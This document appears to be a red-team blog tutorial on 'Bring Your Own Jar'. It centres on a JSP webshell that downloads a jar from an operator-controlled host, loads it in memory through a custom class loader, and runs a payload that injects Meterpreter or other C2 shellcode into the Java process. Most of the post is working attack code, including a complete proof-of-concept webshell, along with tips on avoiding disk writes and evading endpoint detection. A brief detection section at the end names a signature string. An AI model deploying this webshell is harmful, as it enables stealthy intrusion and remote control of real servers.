Java (JSP) - Bring Your Own Jar

On this page, we will explore how to reflectively load a class from a Java library and call its main method. In red team context, this can be used to stage additional java code without touching disk.

TL;DR

Final proof of concept can be found here.

Introduction

As red team operators, we are often challenged with situations where a certain service is vulnerable and perhaps even has a public proof of concept, but one look at the exploit code is enough to know that it will likely cause all the alarms to go off on the blue team side. This is not the way we like to make an entry (initial foothold) and put the SOC on alert in the beginning of the exerices.

What if this exploitable target is some java application? If the situation allows for it, we could opt for some Java memshell, which usually registers a servlet for you to interact with from Java. This already seems to rely on some dynamic class loading. Some examples:

However, if feels like a complicated setup and often does not immediately bootstrap your favourite C2 framework. So what would be the shortest route to achieve that from inside - let's say - a JSP file? Reflective DLL loading existed on Windows for a long time so why not reflective jar loading?

Reflective Jar Loading

First of all, this is not intended as a malicious proof of concept. There are legitimate use cases for loading libraries dynamically without dropping these to disk first. For example, one could use this technique to decrypt encrypted java jars at runtime as a way of protecting against reverse engineering.

Neither is this a new technique. There are public code snippets that can help develop an implementation of this (e.g. this). Nor am I the first one to explore this topic. As always, a random stranger on the internet, in our case Holger, posted it in ten years ago on StackOverflow. Credit goes to him for the least complex and most portable implementation, which we will use in our proof of concept. There is also this amazing article by DiabloHorn, which I discovered after writing this post.

Dynamic Class Loading in MetaSploit

Before we start porting Holger's class loader to JSP, let's dig into the MetaSploit implementation first. I have this really old vulnerable ActiveMQ server running on Windows, which I sometimes use to experiment with Java webshells. Conveniently, MetaSploit already has an exploit for this, which we can point and run against the target. It's a path traversal file upload, which allows you to drop executable files at remotely accessible paths. Classic webshell drop scenario.

Upon execution of the exploit, it drops two files to disk:

  1. A JSP with a randomized name.

  2. A .jar file with a randomized name

Dynamic Class Loading from Disk

The JSP will look something like shown below. When accessing https://host:8161/api/random.jsp, the webshell will be triggered. First, it loads a random.jar file, which was also dropped to disk. From this jar, it dynamically loads the MetaSploit.Payload class and calls the main method of this class.

<%@ page import="java.io.*"%>
<%@ page import="java.net.*"%>
<%
    URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("./random.jar")).toURI().toURL()});
    Class c = cl.loadClass("MetaSploit.Payload");
    c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});
%>

After this, Meterpreter loudly announces its presence to all EDRs on the system and attempts to establish an egress connection. However, EDR/SOC might not agree.

Custom Jar

Perhaps we should replace the Meterpreter jar file that the exploit drops to disk with our own, more customized way of staging any C2 shellcode we want from inside Java. I am using a fat jar with JNA (Pinvoke alternative for Java). It's essentially a native shellcode stager ported to Java. Have a look at this to get the idea. Explaining our loader may be material for a future blog post if I ever find the time.

However, I'll say this: Do we really want to drop this jar to disk, where AV can scan it, sandboxes can start analysing it and most notably, we have to clean it up after the engagement? Nope.

Fetch Remote Jar

Fortunately, if egress HTTPS traffic is allowed, we won't have to drop anything to disk. The following JSP code snippet is perfectly capable of reading a remote jar file and saving it to the buffer ByteArray.

<%@ page import="java.io.*, java.net.*, java.util.*, java.util.jar.*" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% %>
<%
out.println("lets try this");

URL url = new URL("http://10.60.2.12/myjar.jar");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
InputStream remoteis = url.openStream();
byte[] tempBuffer = new byte[4096];
int len;
while ((len = remoteis.read(tempBuffer)) != -1) {
    baos.write(tempBuffer, 0, len);
}
byte[] buffer = baos.toByteArray();

Extracting Classes

Next, we need to loop over entries in our jar file and extract classes into a map.

// Processing JAR file entries
Map<String, byte[]> map = new HashMap<String, byte[]>();
JarInputStream jis = new JarInputStream(new ByteArrayInputStream(buffer));
for (;;) {
    JarEntry nextEntry = jis.getNextJarEntry();
    if (nextEntry == null) break;
    final int est = (int) nextEntry.getSize();
    byte[] data = new byte[est > 0 ? est : 1024];
    int real = 0;

    int bytesRead;
    while ((bytesRead = jis.read(data, real, data.length - real)) > 0) {
        real += bytesRead;
        if (real == data.length) {
            // Manually resizing the array
            byte[] newData = new byte[data.length * 2];
            System.arraycopy(data, 0, newData, 0, data.length);
            data = newData;
        }
    }

    // Trim the array to the actual size
    if (real != data.length) {
        byte[] trimmedData = new byte[real];
        System.arraycopy(data, 0, trimmedData, 0, real);
        data = trimmedData;
    }

    map.put("/" + nextEntry.getName(), data);
}

Custom ClassLoader

After this, we should implement our custom Class Loader. Why can't we use the standard ClassLoader for this? Holger explained it quite well in his StackOverflow reply:

Loading classes from such a representation doesn’t work out-of-the-box because the standard ClassLoader implementations rely on the JarFile implementation which relies on a physical file rather than an abstraction.

So unless you simply write the buffer into a temporary file, it boils down to implement your own ClassLoader. Since the JRE supports only stream access as shown above, you will have to scan linearly to find a requested resource/class or iterate once and store the entries into a Map.

One alternative to implementing a ClassLoader is to implement a custom URL handler to use together with a URLClassLoader which reduces the task to the lookup as described above

Since we're loading the classes from a Map in memory, we can build a custom URLStreamHandler which will return a URLConnection to the appropriate class.

final Map<String, byte[]> finalMap = map;
// Defining a custom URLStreamHandler to load classes from memory
URL u = new URL("87c30278b52d957fc722ca030e020b726f40be2c", null, -1, "/", new URLStreamHandler() {
    protected URLConnection openConnection(URL u) throws IOException {
        final byte[] data = finalMap.get(u.getFile());
        if (data == null)
            throw new FileNotFoundException(u.getFile());
        return new URLConnection(u) {
            public void connect() throws IOException {
            }

            @Override
            public InputStream getInputStream() throws IOException {
                return new ByteArrayInputStream(data);
            }
        };
    }
});

Finally, we can construct a URLClassLoader with our custom URLStreamHandler, after which we can instantiate our custom com.nativewin32.MyClass object and invoke the main method.

// Loading the class from the in-memory JAR using a custom ClassLoader
URLClassLoader cl = new URLClassLoader(new URL[] { u });
out.println("Loading class com.nativewin32.MyClass...");
try {
    Class<?> clazz = cl.loadClass("com.nativewin32.MyClass");
    clazz.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});

    out.println("Class com.nativewin32.MyClass loaded successfully.");
} catch (ClassNotFoundException e) {
    out.println("Class com.nativewin32.MyClass not found: " + e.getMessage());
} catch (Exception e) {
    out.println("Error loading class com.nativewin32.MyClass: " + e.getMessage());
}

Final POC

<%@ page import="java.io.*, java.net.*, java.util.*, java.util.jar.*" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% %>
<%
out.println("lets try this");

URL url = new URL("http://10.60.2.12/myjar.jar");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
InputStream remoteis = url.openStream();
byte[] tempBuffer = new byte[4096];
int len;
while ((len = remoteis.read(tempBuffer)) != -1) {
    baos.write(tempBuffer, 0, len);
}
byte[] buffer = baos.toByteArray();

// Processing JAR file entries
Map<String, byte[]> map = new HashMap<String, byte[]>();
JarInputStream jis = new JarInputStream(new ByteArrayInputStream(buffer));
for (;;) {
    JarEntry nextEntry = jis.getNextJarEntry();
    if (nextEntry == null) break;
    final int est = (int) nextEntry.getSize();
    byte[] data = new byte[est > 0 ? est : 1024];
    int real = 0;

    int bytesRead;
    while ((bytesRead = jis.read(data, real, data.length - real)) > 0) {
        real += bytesRead;
        if (real == data.length) {
            // Manually resizing the array
            byte[] newData = new byte[data.length * 2];
            System.arraycopy(data, 0, newData, 0, data.length);
            data = newData;
        }
    }

    // Trim the array to the actual size
    if (real != data.length) {
        byte[] trimmedData = new byte[real];
        System.arraycopy(data, 0, trimmedData, 0, real);
        data = trimmedData;
    }

    map.put("/" + nextEntry.getName(), data);
}

final Map<String, byte[]> finalMap = map;
// Defining a custom URLStreamHandler to load classes from memory
URL u = new URL("87c30278b52d957fc722ca030e020b726f40be2c", null, -1, "/", new URLStreamHandler() {
    protected URLConnection openConnection(URL u) throws IOException {
        final byte[] data = finalMap.get(u.getFile());
        if (data == null)
            throw new FileNotFoundException(u.getFile());
        return new URLConnection(u) {
            public void connect() throws IOException {
            }

            @Override
            public InputStream getInputStream() throws IOException {
                return new ByteArrayInputStream(data);
            }
        };
    }
});

// Loading the class from the in-memory JAR using a custom ClassLoader
URLClassLoader cl = new URLClassLoader(new URL[] { u });
out.println("Loading class com.nativewin32.MyClass...");
try {
    Class<?> clazz = cl.loadClass("com.nativewin32.MyClass");
    clazz.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});

    out.println("Class com.nativewin32.MyClass loaded successfully.");
} catch (ClassNotFoundException e) {
    out.println("Class com.nativewin32.MyClass not found: " + e.getMessage());
} catch (Exception e) {
    out.println("Error loading class com.nativewin32.MyClass: " + e.getMessage());
}
%>

Moments after uploading and accessing this custom jsp page, our custom jar file is downloaded again.

The Jar file loads our shellcode in the current process (java.exe) to avoid spawning suspicious subprocesses which have a higher risk of triggering endpoint detection.

We successfully injected Meterpreter shellcode into the java.exe process using our custom jar. To validate, we check our process ID. Of course, this could have been any your favourite C2 framework as well. You can Bring Your Own Jar.

Potential Improvements

Feel free to make a PR if you would like to implement any of these:

  • TLS support

  • Encrypt/Decrypt remote jar with AES

  • Error handling

  • Test on Linux (works in theory)

Detections

As always, keep track of JSP and other executable files being written to disk via web processes. I also embedded a signature in the webshell. Scan the file for the following string: 87c30278b52d957fc722ca030e020b726f40be2c

References

Last updated